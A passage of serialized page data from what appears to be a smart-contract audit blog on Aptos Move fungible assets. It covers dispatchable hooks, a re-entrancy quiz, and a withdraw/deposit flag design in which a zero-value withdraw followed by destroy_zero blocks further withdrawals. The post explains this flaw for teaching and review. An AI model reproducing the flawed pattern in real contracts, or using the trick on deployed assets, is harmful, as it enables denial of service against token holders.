fa",{"type":23,"tag":41,"props":66081,"children":66082},{"style":170},[66083],{"type":28,"value":1474},{"type":23,"tag":41,"props":66085,"children":66086},{"style":94},[66087],{"type":28,"value":61537},{"type":23,"tag":41,"props":66089,"children":66090},{"style":70},[66091],{"type":28,"value":3506},{"type":23,"tag":41,"props":66093,"children":66094},{"class":43,"line":947},[66095,66099,66103,66107,66111],{"type":23,"tag":41,"props":66096,"children":66097},{"style":858},[66098],{"type":28,"value":65905},{"type":23,"tag":41,"props":66100,"children":66101},{"style":170},[66102],{"type":28,"value":1474},{"type":23,"tag":41,"props":66104,"children":66105},{"style":170},[66106],{"type":28,"value":7140},{"type":23,"tag":41,"props":66108,"children":66109},{"style":94},[66110],{"type":28,"value":65420},{"type":23,"tag":41,"props":66112,"children":66113},{"style":70},[66114],{"type":28,"value":3506},{"type":23,"tag":41,"props":66116,"children":66117},{"class":43,"line":985},[66118],{"type":23,"tag":41,"props":66119,"children":66120},{"style":70},[66121],{"type":28,"value":152},{"type":23,"tag":41,"props":66123,"children":66124},{"class":43,"line":1058},[66125],{"type":23,"tag":41,"props":66126,"children":66127},{"style":48},[66128],{"type":28,"value":65948},{"type":23,"tag":41,"props":66130,"children":66131},{"class":43,"line":1084},[66132,66136,66140,66145,66149,66153,66157,66161,66165,66169],{"type":23,"tag":41,"props":66133,"children":66134},{"style":70},[66135],{"type":28,"value":65956},{"type":23,"tag":41,"props":66137,"children":66138},{"style":170},[66139],{"type":28,"value":3479},{"type":23,"tag":41,"props":66141,"children":66142},{"style":114},[66143],{"type":28,"value":66144},"deposit_with_ref",{"type":23,"tag":41,"props":66146,"children":66147},{"style":70},[66148],{"type":28,"value":1737},{"type":23,"tag":41,"props":66150,"children":66151},{"style":858},[66152],{"type":28,"value":65974},{"type":23,"tag":41,"props":66154,"children":66155},{"style":70},[66156],{"type":28,"value":970},{"type":23,"tag":41,"props":66158,"children":66159},{"style":858},[66160],{"type":28,"value":5940},{"type":23,"tag":41,"props":66162,"children":66163},{"style":70},[66164],{"type":28,"value":970},{"type":23,"tag":41,"props":66166,"children":66167},{"style":858},[66168],{"type":28,"value":61729},{"type":23,"tag":41,"props":66170,"children":66171},{"style":70},[66172],{"type":28,"value":3825},{"type":23,"tag":41,"props":66174,"children":66175},{"class":43,"line":1102},[66176],{"type":23,"tag":41,"props":66177,"children":66178},{"style":70},[66179],{"type":28,"value":201},{"type":23,"tag":66181,"props":66182,"children":66183},"question",{},[66184,66211],{"type":23,"tag":24,"props":66185,"children":66186},{},[66187,66189,66195,66197,66203,66204,66210],{"type":28,"value":66188},"Why hook functions rely on ",{"type":23,"tag":37,"props":66190,"children":66192},{"className":66191},[],[66193],{"type":28,"value":66194},"*_with_ref",{"type":28,"value":66196}," calls? What would happen if the hook function called ",{"type":23,"tag":37,"props":66198,"children":66200},{"className":66199},[],[66201],{"type":28,"value":66202},"dispatchable_fungible_asset::withdraw",{"type":28,"value":16780},{"type":23,"tag":37,"props":66205,"children":66207},{"className":66206},[],[66208],{"type":28,"value":66209},"fungible_asset::withdraw_with_ref",{"type":28,"value":3155},{"type":23,"tag":753,"props":66212,"children":66213},{"v-slot:answer-0":7},[66214,66226],{"type":23,"tag":24,"props":66215,"children":66216},{},[66217,66219,66224],{"type":28,"value":66218},"A1: Hook functions rely on ",{"type":23,"tag":37,"props":66220,"children":66222},{"className":66221},[],[66223],{"type":28,"value":66194},{"type":28,"value":66225}," calls because the default fungible asset functions verify if the fungible asset is not dispatchable.",{"type":23,"tag":24,"props":66227,"children":66228},{},[66229,66231,66236],{"type":28,"value":66230},"A2: A ",{"type":23,"tag":37,"props":66232,"children":66234},{"className":66233},[],[66235],{"type":28,"value":66202},{"type":28,"value":66237}," would result in RUNTIME_DISPATCH_ERROR (code 4037) error with error message: \"Re-entrancy detected\".",{"type":23,"tag":24,"props":66239,"children":66240},{},[66241],{"type":28,"value":66242},"In one of our reviews, we encountered a dispatchable fungible asset where the hooked withdrawal set a \"blocked\" flag, which was cleared by the corresponding deposit. This design was used to ensure that each withdrawal was tied to a deposit, effectively preventing simultaneous withdrawals.",{"type":23,"tag":31,"props":66244,"children":66246},{"className":2982,"code":66245,"language":2981,"meta":7,"style":7},"public fun deposit\u003CT: key>(store: Object\u003CT>, fa: FungibleAsset, transfer_ref: &TransferRef) {\n    assert_withdraw_flag(true);\n    [...]\n    set_withdraw_flag(false);\n    fungible_asset::deposit_with_ref(transfer_ref, store, amount);\n    [...]\n    }\n\npublic fun withdraw\u003CT: key>(store: Object\u003CT>, amount: u64, transfer_ref: &TransferRef): FungibleAsset acquires [...] {\n    assert_withdraw_flag(false);\n    [...]\n    set_withdraw_flag(true);\n    fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n",[66247],{"type":23,"tag":37,"props":66248,"children":66249},{"__ignoreMap":7},[66250,66345,66365,66380,66400,66443,66458,66465,66472,66591,66610,66625,66644,66687],{"type":23,"tag":41,"props":66251,"children":66252},{"class":43,"line":44},[66253,66257,66261,66265,66269,66273,66277,66281,66285,66289,66293,66297,66301,66305,66309,66313,66317,66321,66325,66329,66333,66337,66341],{"type":23,"tag":41,"props":66254,"children":66255},{"style":858},[66256],{"type":28,"value":127},{"type":23,"tag":41,"props":66258,"children":66259},{"style":858},[66260],{"type":28,"value":6205},{"type":23,"tag":41,"props":66262,"children":66263},{"style":858},[66264],{"type":28,"value":61680},{"type":23,"tag":41,"props":66266,"children":66267},{"style":70},[66268],{"type":28,"value":1012},{"type":23,"tag":41,"props":66270,"children":66271},{"style":94},[66272],{"type":28,"value":1634},{"type":23,"tag":41,"props":66274,"children":66275},{"style":170},[66276],{"type":28,"value":1474},{"type":23,"tag":41,"props":66278,"children":66279},{"style":858},[66280],{"type":28,"value":5931},{"type":23,"tag":41,"props":66282,"children":66283},{"style":70},[66284],{"type":28,"value":7610},{"type":23,"tag":41,"props":66286,"children":66287},{"style":858},[66288],{"type":28,"value":5940},{"type":23,"tag":41,"props":66290,"children":66291},{"style":170},[66292],{"type":28,"value":1474},{"type":23,"tag":41,"props":66294,"children":66295},{"style":94},[66296],{"type":28,"value":61558},{"type":23,"tag":41,"props":66298,"children":66299},{"style":70},[66300],{"type":28,"value":1012},{"type":23,"tag":41,"props":66302,"children":66303},{"style":94},[66304],{"type":28,"value":1634},{"type":23,"tag":41,"props":66306,"children":66307},{"style":70},[66308],{"type":28,"value":6629},{"type":23,"tag":41,"props":66310,"children":66311},{"style":858},[66312],{"type":28,"value":61729},{"type":23,"tag":41,"props":66314,"children":66315},{"style":170},[66316],{"type":28,"value":1474},{"type":23,"tag":41,"props":66318,"children":66319},{"style":94},[66320],{"type":28,"value":61537},{"type":23,"tag":41,"props":66322,"children":66323},{"style":70},[66324],{"type":28,"value":970},{"type":23,"tag":41,"props":66326,"children":66327},{"style":858},[66328],{"type":28,"value":65974},{"type":23,"tag":41,"props":66330,"children":66331},{"style":170},[66332],{"type":28,"value":1474},{"type":23,"tag":41,"props":66334,"children":66335},{"style":170},[66336],{"type":28,"value":7140},{"type":23,"tag":41,"props":66338,"children":66339},{"style":94},[66340],{"type":28,"value":65420},{"type":23,"tag":41,"props":66342,"children":66343},{"style":70},[66344],{"type":28,"value":152},{"type":23,"tag":41,"props":66346,"children":66347},{"class":43,"line":54},[66348,66353,66357,66361],{"type":23,"tag":41,"props":66349,"children":66350},{"style":114},[66351],{"type":28,"value":66352},"    assert_withdraw_flag",{"type":23,"tag":41,"props":66354,"children":66355},{"style":70},[66356],{"type":28,"value":1737},{"type":23,"tag":41,"props":66358,"children":66359},{"style":64},[66360],{"type":28,"value":3996},{"type":23,"tag":41,"props":66362,"children":66363},{"style":70},[66364],{"type":28,"value":3825},{"type":23,"tag":41,"props":66366,"children":66367},{"class":43,"line":76},[66368,66372,66376],{"type":23,"tag":41,"props":66369,"children":66370},{"style":70},[66371],{"type":28,"value":62713},{"type":23,"tag":41,"props":66373,"children":66374},{"style":170},[66375],{"type":28,"value":9589},{"type":23,"tag":41,"props":66377,"children":66378},{"style":70},[66379],{"type":28,"value":11769},{"type":23,"tag":41,"props":66381,"children":66382},{"class":43,"line":85},[66383,66388,66392,66396],{"type":23,"tag":41,"props":66384,"children":66385},{"style":114},[66386],{"type":28,"value":66387},"    set_withdraw_flag",{"type":23,"tag":41,"props":66389,"children":66390},{"style":70},[66391],{"type":28,"value":1737},{"type":23,"tag":41,"props":66393,"children":66394},{"style":64},[66395],{"type":28,"value":8174},{"type":23,"tag":41,"props":66397,"children":66398},{"style":70},[66399],{"type":28,"value":3825},{"type":23,"tag":41,"props":66401,"children":66402},{"class":43,"line":105},[66403,66407,66411,66415,66419,66423,66427,66431,66435,66439],{"type":23,"tag":41,"props":66404,"children":66405},{"style":70},[66406],{"type":28,"value":65956},{"type":23,"tag":41,"props":66408,"children":66409},{"style":170},[66410],{"type":28,"value":3479},{"type":23,"tag":41,"props":66412,"children":66413},{"style":114},[66414],{"type":28,"value":66144},{"type":23,"tag":41,"props":66416,"children":66417},{"style":70},[66418],{"type":28,"value":1737},{"type":23,"tag":41,"props":66420,"children":66421},{"style":858},[66422],{"type":28,"value":65974},{"type":23,"tag":41,"props":66424,"children":66425},{"style":70},[66426],{"type":28,"value":970},{"type":23,"tag":41,"props":66428,"children":66429},{"style":858},[66430],{"type":28,"value":5940},{"type":23,"tag":41,"props":66432,"children":66433},{"style":70},[66434],{"type":28,"value":970},{"type":23,"tag":41,"props":66436,"children":66437},{"style":858},[66438],{"type":28,"value":20295},{"type":23,"tag":41,"props":66440,"children":66441},{"style":70},[66442],{"type":28,"value":3825},{"type":23,"tag":41,"props":66444,"children":66445},{"class":43,"line":155},[66446,66450,66454],{"type":23,"tag":41,"props":66447,"children":66448},{"style":70},[66449],{"type":28,"value":62713},{"type":23,"tag":41,"props":66451,"children":66452},{"style":170},[66453],{"type":28,"value":9589},{"type":23,"tag":41,"props":66455,"children":66456},{"style":70},[66457],{"type":28,"value":11769},{"type":23,"tag":41,"props":66459,"children":66460},{"class":43,"line":186},[66461],{"type":23,"tag":41,"props":66462,"children":66463},{"style":70},[66464],{"type":28,"value":192},{"type":23,"tag":41,"props":66466,"children":66467},{"class":43,"line":195},[66468],{"type":23,"tag":41,"props":66469,"children":66470},{"emptyLinePlaceholder":18},[66471],{"type":28,"value":82},{"type":23,"tag":41,"props":66473,"children":66474},{"class":43,"line":905},[66475,66479,66483,66487,66491,66495,66499,66503,66507,66511,66515,66519,66523,66527,66531,66535,66539,66543,66547,66551,66555,66559,66563,66567,66571,66575,66579,66583,66587],{"type":23,"tag":41,"props":66476,"children":66477},{"style":858},[66478],{"type":28,"value":127},{"type":23,"tag":41,"props":66480,"children":66481},{"style":858},[66482],{"type":28,"value":6205},{"type":23,"tag":41,"props":66484,"children":66485},{"style":858},[66486],{"type":28,"value":20260},{"type":23,"tag":41,"props":66488,"children":66489},{"style":70},[66490],{"type":28,"value":1012},{"type":23,"tag":41,"props":66492,"children":66493},{"style":94},[66494],{"type":28,"value":1634},{"type":23,"tag":41,"props":66496,"children":66497},{"style":170},[66498],{"type":28,"value":1474},{"type":23,"tag":41,"props":66500,"children":66501},{"style":858},[66502],{"type":28,"value":5931},{"type":23,"tag":41,"props":66504,"children":66505},{"style":70},[66506],{"type":28,"value":7610},{"type":23,"tag":41,"props":66508,"children":66509},{"style":858},[66510],{"type":28,"value":5940},{"type":23,"tag":41,"props":66512,"children":66513},{"style":170},[66514],{"type":28,"value":1474},{"type":23,"tag":41,"props":66516,"children":66517},{"style":94},[66518],{"type":28,"value":61558},{"type":23,"tag":41,"props":66520,"children":66521},{"style":70},[66522],{"type":28,"value":1012},{"type":23,"tag":41,"props":66524,"children":66525},{"style":94},[66526],{"type":28,"value":1634},{"type":23,"tag":41,"props":66528,"children":66529},{"style":70},[66530],{"type":28,"value":6629},{"type":23,"tag":41,"props":66532,"children":66533},{"style":858},[66534],{"type":28,"value":20295},{"type":23,"tag":41,"props":66536,"children":66537},{"style":170},[66538],{"type":28,"value":1474},{"type":23,"tag":41,"props":66540,"children":66541},{"style":94},[66542],{"type":28,"value":5860},{"type":23,"tag":41,"props":66544,"children":66545},{"style":70},[66546],{"type":28,"value":970},{"type":23,"tag":41,"props":66548,"children":66549},{"style":858},[66550],{"type":28,"value":65974},{"type":23,"tag":41,"props":66552,"children":66553},{"style":170},[66554],{"type":28,"value":1474},{"type":23,"tag":41,"props":66556,"children":66557},{"style":170},[66558],{"type":28,"value":7140},{"type":23,"tag":41,"props":66560,"children":66561},{"style":94},[66562],{"type":28,"value":65420},{"type":23,"tag":41,"props":66564,"children":66565},{"style":70},[66566],{"type":28,"value":2678},{"type":23,"tag":41,"props":66568,"children":66569},{"style":170},[66570],{"type":28,"value":1474},{"type":23,"tag":41,"props":66572,"children":66573},{"style":94},[66574],{"type":28,"value":61537},{"type":23,"tag":41,"props":66576,"children":66577},{"style":858},[66578],{"type":28,"value":7566},{"type":23,"tag":41,"props":66580,"children":66581},{"style":70},[66582],{"type":28,"value":23019},{"type":23,"tag":41,"props":66584,"children":66585},{"style":170},[66586],{"type":28,"value":9589},{"type":23,"tag":41,"props":66588,"children":66589},{"style":70},[66590],{"type":28,"value":61762},{"type":23,"tag":41,"props":66592,"children":66593},{"class":43,"line":922},[66594,66598,66602,66606],{"type":23,"tag":41,"props":66595,"children":66596},{"style":114},[66597],{"type":28,"value":66352},{"type":23,"tag":41,"props":66599,"children":66600},{"style":70},[66601],{"type":28,"value":1737},{"type":23,"tag":41,"props":66603,"children":66604},{"style":64},[66605],{"type":28,"value":8174},{"type":23,"tag":41,"props":66607,"children":66608},{"style":70},[66609],{"type":28,"value":3825},{"type":23,"tag":41,"props":66611,"children":66612},{"class":43,"line":930},[66613,66617,66621],{"type":23,"tag":41,"props":66614,"children":66615},{"style":70},[66616],{"type":28,"value":62713},{"type":23,"tag":41,"props":66618,"children":66619},{"style":170},[66620],{"type":28,"value":9589},{"type":23,"tag":41,"props":66622,"children":66623},{"style":70},[66624],{"type":28,"value":11769},{"type":23,"tag":41,"props":66626,"children":66627},{"class":43,"line":939},[66628,66632,66636,66640],{"type":23,"tag":41,"props":66629,"children":66630},{"style":114},[66631],{"type":28,"value":66387},{"type":23,"tag":41,"props":66633,"children":66634},{"style":70},[66635],{"type":28,"value":1737},{"type":23,"tag":41,"props":66637,"children":66638},{"style":64},[66639],{"type":28,"value":3996},{"type":23,"tag":41,"props":66641,"children":66642},{"style":70},[66643],{"type":28,"value":3825},{"type":23,"tag":41,"props":66645,"children":66646},{"class":43,"line":947},[66647,66651,66655,66659,66663,66667,66671,66675,66679,66683],{"type":23,"tag":41,"props":66648,"children":66649},{"style":70},[66650],{"type":28,"value":65956},{"type":23,"tag":41,"props":66652,"children":66653},{"style":170},[66654],{"type":28,"value":3479},{"type":23,"tag":41,"props":66656,"children":66657},{"style":114},[66658],{"type":28,"value":65965},{"type":23,"tag":41,"props":66660,"children":66661},{"style":70},[66662],{"type":28,"value":1737},{"type":23,"tag":41,"props":66664,"children":66665},{"style":858},[66666],{"type":28,"value":65974},{"type":23,"tag":41,"props":66668,"children":66669},{"style":70},[66670],{"type":28,"value":970},{"type":23,"tag":41,"props":66672,"children":66673},{"style":858},[66674],{"type":28,"value":5940},{"type":23,"tag":41,"props":66676,"children":66677},{"style":70},[66678],{"type":28,"value":970},{"type":23,"tag":41,"props":66680,"children":66681},{"style":858},[66682],{"type":28,"value":20295},{"type":23,"tag":41,"props":66684,"children":66685},{"style":70},[66686],{"type":28,"value":1969},{"type":23,"tag":41,"props":66688,"children":66689},{"class":43,"line":985},[66690],{"type":23,"tag":41,"props":66691,"children":66692},{"style":70},[66693],{"type":28,"value":201},{"type":23,"tag":24,"props":66695,"children":66696},{},[66697],{"type":28,"value":66698},"At first glance, this code appears valid, but not to an astute reader.",{"type":23,"tag":66181,"props":66700,"children":66701},{},[66702,66707],{"type":23,"tag":24,"props":66703,"children":66704},{},[66705],{"type":28,"value":66706},"Can you spot the bug? Hint: We mentioned the root cause previously.",{"type":23,"tag":753,"props":66708,"children":66709},{"v-slot:answer-0":7},[66710,66730],{"type":23,"tag":24,"props":66711,"children":66712},{},[66713,66715,66720,66722,66728],{"type":28,"value":66714},"The developer overlooked an important detail, which we already mentioned earlier: a fungible asset with a value of zero can also be burned! An attacker could exploit this by withdrawing 0 ",{"type":23,"tag":37,"props":66716,"children":66718},{"className":66717},[],[66719],{"type":28,"value":61508},{"type":28,"value":66721}," (since withdraw doesn’t verify if the value is greater than 0) and then burning it using ",{"type":23,"tag":37,"props":66723,"children":66725},{"className":66724},[],[66726],{"type":28,"value":66727},"fungible_asset::destroy_zero",{"type":28,"value":66729},". This would complete the transaction while keeping the \"blocked\" flag set, effectively preventing further withdrawals.",{"type":23,"tag":24,"props":66731,"children":66732},{},[66733],{"type":28,"value":66734},"It's important to understand all the features in the standard.",{"type":23,"tag":446,"props":66736,"children":66738},{"id":66737},"migrating-from-coins-to-fungible-assets",[66739],{"type":28,"value":66740},"Migrating from coins to fungible assets",{"type":23,"tag":24,"props":66742,"children":66743},{},[66744,66746,66751],{"type":28,"value":66745},"If a fungible asset is considered an upgrade to ",{"type":23,"tag":37,"props":66747,"children":66749},{"className":66748},[],[66750],{"type":28,"value":60963},{"type":28,"value":66752},", a transition mechanism becomes necessary. This is addressed through a conversion map, establishing a relationship between specific coin and fungible asset. This duality is not without its challenges.",{"type":23,"tag":66754,"props":66755,"children":66756},"note",{},[66757],{"type":23,"tag":24,"props":66758,"children":66759},{},[66760,66762,66767,66769,66774],{"type":28,"value":66761},"While the ",{"type":23,"tag":37,"props":66763,"children":66765},{"className":66764},[],[66766],{"type":28,"value":60963},{"type":28,"value":66768}," API recognizes and integrates with fungible assets, the fungible asset APIs do not have awareness of the linked ",{"type":23,"tag":37,"props":66770,"children":66772},{"className":66771},[],[66773],{"type":28,"value":60963},{"type":28,"value":706},{"type":23,"tag":24,"props":66776,"children":66777},{},[66778,66779,66785,66787,66792,66794,66799],{"type":28,"value":16601},{"type":23,"tag":37,"props":66780,"children":66782},{"className":66781},[],[66783],{"type":28,"value":66784},"coin_to_fungible_asset",{"type":28,"value":66786}," converting function automatically generates a corresponding fungible asset for a ",{"type":23,"tag":37,"props":66788,"children":66790},{"className":66789},[],[66791],{"type":28,"value":60963},{"type":28,"value":66793}," if one does not already exist. Manual creation of a fungible asset and its linkage to a ",{"type":23,"tag":37,"props":66795,"children":66797},{"className":66796},[],[66798],{"type":28,"value":60963},{"type":28,"value":66800}," is not allowed.",{"type":23,"tag":31,"props":66802,"children":66804},{"className":2982,"code":66803,"language":2981,"meta":7,"style":7},"public fun coin_to_fungible_asset\u003CCoinType>(\n    coin: Coin\u003CCoinType>\n): FungibleAsset acquires CoinConversionMap, CoinInfo {\n    let metadata = ensure_paired_metadata\u003CCoinType>();\n    let amount = burn_internal(coin);\n    fungible_asset::mint_internal(metadata, amount)\n}\n",[66805],{"type":23,"tag":37,"props":66806,"children":66807},{"__ignoreMap":7},[66808,66836,66863,66899,66932,66965,67001],{"type":23,"tag":41,"props":66809,"children":66810},{"class":43,"line":44},[66811,66815,66819,66824,66828,66832],{"type":23,"tag":41,"props":66812,"children":66813},{"style":858},[66814],{"type":28,"value":127},{"type":23,"tag":41,"props":66816,"children":66817},{"style":858},[66818],{"type":28,"value":6205},{"type":23,"tag":41,"props":66820,"children":66821},{"style":858},[66822],{"type":28,"value":66823}," coin_to_fungible_asset",{"type":23,"tag":41,"props":66825,"children":66826},{"style":70},[66827],{"type":28,"value":1012},{"type":23,"tag":41,"props":66829,"children":66830},{"style":94},[66831],{"type":28,"value":6582},{"type":23,"tag":41,"props":66833,"children":66834},{"style":70},[66835],{"type":28,"value":6587},{"type":23,"tag":41,"props":66837,"children":66838},{"class":43,"line":54},[66839,66843,66847,66851,66855,66859],{"type":23,"tag":41,"props":66840,"children":66841},{"style":858},[66842],{"type":28,"value":61182},{"type":23,"tag":41,"props":66844,"children":66845},{"style":170},[66846],{"type":28,"value":1474},{"type":23,"tag":41,"props":66848,"children":66849},{"style":94},[66850],{"type":28,"value":5802},{"type":23,"tag":41,"props":66852,"children":66853},{"style":70},[66854],{"type":28,"value":1012},{"type":23,"tag":41,"props":66856,"children":66857},{"style":94},[66858],{"type":28,"value":6582},{"type":23,"tag":41,"props":66860,"children":66861},{"style":70},[66862],{"type":28,"value":773},{"type":23,"tag":41,"props":66864,"children":66865},{"class":43,"line":76},[66866,66870,66874,66878,66882,66887,66891,66895],{"type":23,"tag":41,"props":66867,"children":66868},{"style":70},[66869],{"type":28,"value":2678},{"type":23,"tag":41,"props":66871,"children":66872},{"style":170},[66873],{"type":28,"value":1474},{"type":23,"tag":41,"props":66875,"children":66876},{"style":94},[66877],{"type":28,"value":61537},{"type":23,"tag":41,"props":66879,"children":66880},{"style":858},[66881],{"type":28,"value":7566},{"type":23,"tag":41,"props":66883,"children":66884},{"style":94},[66885],{"type":28,"value":66886}," CoinConversionMap",{"type":23,"tag":41,"props":66888,"children":66889},{"style":70},[66890],{"type":28,"value":970},{"type":23,"tag":41,"props":66892,"children":66893},{"style":94},[66894],{"type":28,"value":6712},{"type":23,"tag":41,"props":66896,"children":66897},{"style":70},[66898],{"type":28,"value":102},{"type":23,"tag":41,"props":66900,"children":66901},{"class":43,"line":85},[66902,66906,66911,66915,66920,66924,66928],{"type":23,"tag":41,"props":66903,"children":66904},{"style":64},[66905],{"type":28,"value":3002},{"type":23,"tag":41,"props":66907,"children":66908},{"style":858},[66909],{"type":28,"value":66910}," metadata",{"type":23,"tag":41,"props":66912,"children":66913},{"style":170},[66914],{"type":28,"value":3017},{"type":23,"tag":41,"props":66916,"children":66917},{"style":858},[66918],{"type":28,"value":66919}," ensure_paired_metadata",{"type":23,"tag":41,"props":66921,"children":66922},{"style":70},[66923],{"type":28,"value":1012},{"type":23,"tag":41,"props":66925,"children":66926},{"style":94},[66927],{"type":28,"value":6582},{"type":23,"tag":41,"props":66929,"children":66930},{"style":70},[66931],{"type":28,"value":8451},{"type":23,"tag":41,"props":66933,"children":66934},{"class":43,"line":105},[66935,66939,66944,66948,66953,66957,66961],{"type":23,"tag":41,"props":66936,"children":66937},{"style":64},[66938],{"type":28,"value":3002},{"type":23,"tag":41,"props":66940,"children":66941},{"style":858},[66942],{"type":28,"value":66943}," amount",{"type":23,"tag":41,"props":66945,"children":66946},{"style":170},[66947],{"type":28,"value":3017},{"type":23,"tag":41,"props":66949,"children":66950},{"style":114},[66951],{"type":28,"value":66952}," burn_internal",{"type":23,"tag":41,"props":66954,"children":66955},{"style":70},[66956],{"type":28,"value":1737},{"type":23,"tag":41,"props":66958,"children":66959},{"style":858},[66960],{"type":28,"value":60930},{"type":23,"tag":41,"props":66962,"children":66963},{"style":70},[66964],{"type":28,"value":3825},{"type":23,"tag":41,"props":66966,"children":66967},{"class":43,"line":155},[66968,66972,66976,66981,66985,66989,66993,66997],{"type":23,"tag":41,"props":66969,"children":66970},{"style":70},[66971],{"type":28,"value":65956},{"type":23,"tag":41,"props":66973,"children":66974},{"style":170},[66975],{"type":28,"value":3479},{"type":23,"tag":41,"props":66977,"children":66978},{"style":114},[66979],{"type":28,"value":66980},"mint_internal",{"type":23,"tag":41,"props":66982,"children":66983},{"style":70},[66984],{"type":28,"value":1737},{"type":23,"tag":41,"props":66986,"children":66987},{"style":858},[66988],{"type":28,"value":62307},{"type":23,"tag":41,"props":66990,"children":66991},{"style":70},[66992],{"type":28,"value":970},{"type":23,"tag":41,"props":66994,"children":66995},{"style":858},[66996],{"type":28,"value":20295},{"type":23,"tag":41,"props":66998,"children":66999},{"style":70},[67000],{"type":28,"value":1969},{"type":23,"tag":41,"props":67002,"children":67003},{"class":43,"line":186},[67004],{"type":23,"tag":41,"props":67005,"children":67006},{"style":70},[67007],{"type":28,"value":201},{"type":23,"tag":24,"props":67009,"children":67010},{},[67011,67013,67020],{"type":28,"value":67012},"When creating a fungible asset, several pieces of information are required, such as the asset’s name, symbol, or maximum supply. During our audit of the fungible asset standard, we ",{"type":23,"tag":458,"props":67014,"children":67017},{"href":67015,"rel":67016},"https://github.com/aptos-labs/aptos-core/commit/e5f4b62b237dad4d15069d3bb0b551b2df04bf08",[462],[67018],{"type":28,"value":67019},"noticed an overlooked detail",{"type":28,"value":67021}," in the linking process.",{"type":23,"tag":31,"props":67023,"children":67025},{"className":2982,"code":67024,"language":2981,"meta":7,"style":7},"[...]\nprimary_fungible_store::create_primary_store_enabled_fungible_asset(\n    &metadata_object_cref,\n    option::map(coin_supply\u003CCoinType>(), |_| MAX_U128),\n    name\u003CCoinType>(),\n    symbol\u003CCoinType>(),\n    decimals\u003CCoinType>(),\n    string::utf8(b\"\"),\n    string::utf8(b\"\"),\n);\n[...]\n",[67026],{"type":23,"tag":37,"props":67027,"children":67028},{"__ignoreMap":7},[67029,67044,67064,67081,67137,67158,67178,67198,67228,67255,67262],{"type":23,"tag":41,"props":67030,"children":67031},{"class":43,"line":44},[67032,67036,67040],{"type":23,"tag":41,"props":67033,"children":67034},{"style":70},[67035],{"type":28,"value":312},{"type":23,"tag":41,"props":67037,"children":67038},{"style":170},[67039],{"type":28,"value":9589},{"type":23,"tag":41,"props":67041,"children":67042},{"style":70},[67043],{"type":28,"value":11769},{"type":23,"tag":41,"props":67045,"children":67046},{"class":43,"line":54},[67047,67051,67055,67060],{"type":23,"tag":41,"props":67048,"children":67049},{"style":70},[67050],{"type":28,"value":62604},{"type":23,"tag":41,"props":67052,"children":67053},{"style":170},[67054],{"type":28,"value":3479},{"type":23,"tag":41,"props":67056,"children":67057},{"style":114},[67058],{"type":28,"value":67059},"create_primary_store_enabled_fungible_asset",{"type":23,"tag":41,"props":67061,"children":67062},{"style":70},[67063],{"type":28,"value":3461},{"type":23,"tag":41,"props":67065,"children":67066},{"class":43,"line":76},[67067,67072,67077],{"type":23,"tag":41,"props":67068,"children":67069},{"style":170},[67070],{"type":28,"value":67071},"    &",{"type":23,"tag":41,"props":67073,"children":67074},{"style":858},[67075],{"type":28,"value":67076},"metadata_object_cref",{"type":23,"tag":41,"props":67078,"children":67079},{"style":70},[67080],{"type":28,"value":3506},{"type":23,"tag":41,"props":67082,"children":67083},{"class":43,"line":85},[67084,67089,67093,67098,67102,67107,67111,67115,67120,67124,67128,67132],{"type":23,"tag":41,"props":67085,"children":67086},{"style":70},[67087],{"type":28,"value":67088},"    option",{"type":23,"tag":41,"props":67090,"children":67091},{"style":170},[67092],{"type":28,"value":3479},{"type":23,"tag":41,"props":67094,"children":67095},{"style":114},[67096],{"type":28,"value":67097},"map",{"type":23,"tag":41,"props":67099,"children":67100},{"style":70},[67101],{"type":28,"value":1737},{"type":23,"tag":41,"props":67103,"children":67104},{"style":858},[67105],{"type":28,"value":67106},"coin_supply",{"type":23,"tag":41,"props":67108,"children":67109},{"style":70},[67110],{"type":28,"value":1012},{"type":23,"tag":41,"props":67112,"children":67113},{"style":94},[67114],{"type":28,"value":6582},{"type":23,"tag":41,"props":67116,"children":67117},{"style":70},[67118],{"type":28,"value":67119},">(), ",{"type":23,"tag":41,"props":67121,"children":67122},{"style":170},[67123],{"type":28,"value":10414},{"type":23,"tag":41,"props":67125,"children":67126},{"style":858},[67127],{"type":28,"value":3084},{"type":23,"tag":41,"props":67129,"children":67130},{"style":170},[67131],{"type":28,"value":10414},{"type":23,"tag":41,"props":67133,"children":67134},{"style":70},[67135],{"type":28,"value":67136}," MAX_U128),\n",{"type":23,"tag":41,"props":67138,"children":67139},{"class":43,"line":105},[67140,67145,67149,67153],{"type":23,"tag":41,"props":67141,"children":67142},{"style":858},[67143],{"type":28,"value":67144},"    name",{"type":23,"tag":41,"props":67146,"children":67147},{"style":70},[67148],{"type":28,"value":1012},{"type":23,"tag":41,"props":67150,"children":67151},{"style":94},[67152],{"type":28,"value":6582},{"type":23,"tag":41,"props":67154,"children":67155},{"style":70},[67156],{"type":28,"value":67157},">(),\n",{"type":23,"tag":41,"props":67159,"children":67160},{"class":43,"line":155},[67161,67166,67170,67174],{"type":23,"tag":41,"props":67162,"children":67163},{"style":858},[67164],{"type":28,"value":67165},"    symbol",{"type":23,"tag":41,"props":67167,"children":67168},{"style":70},[67169],{"type":28,"value":1012},{"type":23,"tag":41,"props":67171,"children":67172},{"style":94},[67173],{"type":28,"value":6582},{"type":23,"tag":41,"props":67175,"children":67176},{"style":70},[67177],{"type":28,"value":67157},{"type":23,"tag":41,"props":67179,"children":67180},{"class":43,"line":186},[67181,67186,67190,67194],{"type":23,"tag":41,"props":67182,"children":67183},{"style":858},[67184],{"type":28,"value":67185},"    decimals",{"type":23,"tag":41,"props":67187,"children":67188},{"style":70},[67189],{"type":28,"value":1012},{"type":23,"tag":41,"props":67191,"children":67192},{"style":94},[67193],{"type":28,"value":6582},{"type":23,"tag":41,"props":67195,"children":67196},{"style":70},[67197],{"type":28,"value":67157},{"type":23,"tag":41,"props":67199,"children":67200},{"class":43,"line":195},[67201,67206,67210,67215,67219,67224],{"type":23,"tag":41,"props":67202,"children":67203},{"style":70},[67204],{"type":28,"value":67205},"    